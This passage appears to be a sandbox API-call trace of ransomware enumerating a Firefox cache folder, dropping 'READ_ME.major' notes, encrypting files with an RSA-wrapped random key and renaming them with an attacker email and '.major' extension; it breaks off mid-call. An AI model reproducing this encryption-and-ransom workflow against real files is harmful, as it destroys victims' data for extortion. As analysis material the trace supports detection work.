HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee3e68 | out: hHeap=0x570000) returned 1 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9c40 | out: hHeap=0x570000) returned 1 [0239.108] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34b60 [0239.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60df88 | out: hHeap=0x570000) returned 1 [0239.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0239.109] GetLastError () returned 0x12 [0239.109] SetLastError (dwErrCode=0x12) [0239.109] GetLastError () returned 0x12 [0239.109] SetLastError (dwErrCode=0x12) [0239.109] GetLastError () returned 0x12 [0239.109] SetLastError (dwErrCode=0x12) [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be4d0 | out: hHeap=0x570000) returned 1 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34be0 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34be0 | out: hHeap=0x570000) returned 1 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0239.109] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0239.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665408 [0239.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0239.109] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.110] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.110] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34fa0 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34fa0 | out: hHeap=0x570000) returned 1 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0239.110] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="doomed", cAlternateFileName="")) returned 1 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665408 | out: hHeap=0x570000) returned 1 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0239.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0239.110] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.110] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.110] GetLastError () returned 0x12 [0239.110] SetLastError (dwErrCode=0x12) [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6674b8 [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666378 [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0239.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0239.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0239.111] GetLastError () returned 0x12 [0239.111] SetLastError (dwErrCode=0x12) [0239.111] GetLastError () returned 0x12 [0239.111] SetLastError (dwErrCode=0x12) [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e678 [0239.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0239.111] GetLastError () returned 0x12 [0239.111] SetLastError (dwErrCode=0x12) [0239.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668aa0 [0239.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\doomed\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\doomed\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a48 [0239.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668aa0 | out: hHeap=0x570000) returned 1 [0239.112] WriteFile (in: hFile=0x1a48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0239.113] CloseHandle (hObject=0x1a48) returned 1 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e678 | out: hHeap=0x570000) returned 1 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666378 | out: hHeap=0x570000) returned 1 [0239.113] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d6e450e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="entries", cAlternateFileName="")) returned 1 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b700 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0239.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b700 | out: hHeap=0x570000) returned 1 [0239.113] GetLastError () returned 0x0 [0239.113] SetLastError (dwErrCode=0x0) [0239.113] GetLastError () returned 0x0 [0239.113] SetLastError (dwErrCode=0x0) [0239.113] GetLastError () returned 0x0 [0239.113] SetLastError (dwErrCode=0x0) [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666150 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666ef8 [0239.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0239.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0239.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0239.114] GetLastError () returned 0x0 [0239.114] SetLastError (dwErrCode=0x0) [0239.114] GetLastError () returned 0x0 [0239.114] SetLastError (dwErrCode=0x0) [0239.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0239.114] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0239.114] GetLastError () returned 0x0 [0239.114] SetLastError (dwErrCode=0x0) [0239.114] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668c50 [0239.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a48 [0239.245] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668c50 | out: hHeap=0x570000) returned 1 [0239.245] WriteFile (in: hFile=0x1a48, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0239.246] CloseHandle (hObject=0x1a48) returned 1 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666ef8 | out: hHeap=0x570000) returned 1 [0239.246] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34629a8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x34629a8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3584, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="index", cAlternateFileName="")) returned 1 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0239.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0239.246] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0239.246] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6654d0 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667628 [0239.247] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17bc, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="index.log", cAlternateFileName="")) returned 1 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6654d0 | out: hHeap=0x570000) returned 1 [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] GetLastError () returned 0x0 [0239.247] SetLastError (dwErrCode=0x0) [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee67f8 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee67f8 | out: hHeap=0x570000) returned 1 [0239.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667348 [0239.247] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0239.247] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0239.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0239.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0239.248] GetLastError () returned 0x0 [0239.248] SetLastError (dwErrCode=0x0) [0239.248] GetLastError () returned 0x0 [0239.248] SetLastError (dwErrCode=0x0) [0239.248] GetLastError () returned 0x0 [0239.248] SetLastError (dwErrCode=0x0) [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee69b0 [0239.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee69b0 | out: hHeap=0x570000) returned 1 [0239.248] FindNextFileW (in: hFindFile=0x2f34b60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48887c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b48887c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b48887c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6665a0 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6550 [0239.248] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0239.248] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log", dwFileAttributes=0x80) returned 1 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666ef8 [0239.248] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66aa18 [0239.248] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666ef8 | out: hHeap=0x570000) returned 1 [0239.249] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a48 [0239.249] GetFileSizeEx (in: hFile=0x1a48, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6076) returned 1 [0239.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17bc) returned 0x6548b8 [0239.249] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x17bc) returned 0x2f81868 [0239.249] ReadFile (in: hFile=0x1a48, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x17bc, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x17bc, lpOverlapped=0x0) returned 1 [0239.354] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=-6076, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0239.355] WriteFile (in: hFile=0x1a48, lpBuffer=0x2f81868*, nNumberOfBytesToWrite=0x17bc, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f81868*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17bc, lpOverlapped=0x0) returned 1 [0239.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0239.355] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81868 | out: hHeap=0x570000) returned 1 [0239.355] SetFilePointer (in: hFile=0x1a48, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17bc [0239.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.355] WriteFile (in: hFile=0x1a48, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0239.355] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0239.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0239.355] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0239.355] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="WoJlMr0fvK41sBXVU21V3z+RskoKY9958E+TsxFAdtVSp7MAAVaR0kJ73AqP4vZM\nJDnkWElwa3UJaKck3J9js28C4e4eHzes1XgVq6GZHfqaojmzlKGVY0xhqj2eww8z\nd6yCq9Z2eP7UL5Psh4ZPW8RUngL2pFQjAHUdaMM/Atjcyx8yfPPHGAmf3ZHE2P14\nHVXFAbjJsUK/EiLcbLyYYPf4Emt1fPKGKgCqEd+NbbX3oZ69N0746XhXTi2ZTBSE\nFzPzVZ+NEgTPp2A2uEMM+FJ4yswMJ6Z9I7z3PjnttiKbtlXo2lsgJgmHO3a3BL6X\nHQol3Tdfi0BUk/g7VCL7Jw==\n", pcchString=0x2e3f9a8) returned 1 [0239.355] WriteFile (in: hFile=0x1a48, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0239.355] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0239.356] WriteFile (in: hFile=0x1a48, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0239.356] CloseHandle (hObject=0x1a48) returned 1 [0239.356] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0239.356] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0239.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x66aa18 | out: hHeap=0x570000) returned 1 [0239.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6550 | out: hHeap=0x570000) returned 1 [0239.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6665a0 | out: hHeap=0x570000) returned 1 [0239.405] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667348 | out: hHeap=0x570000) returned 1 [0239.405] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666938 [0239.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66b8 [0239.406] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0239.406] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", dwFileAttributes=0x80) returned 1 [0239.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6665a0 [0239.406] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x66a5b8 [0239.406] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6665a0 | out: hHeap=0x570000) returned 1 [0239.406] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a48 [0239.407] GetFileSizeEx (in: hFile=0x1a48, lpFileSize=0x2e3f9b8 | out: 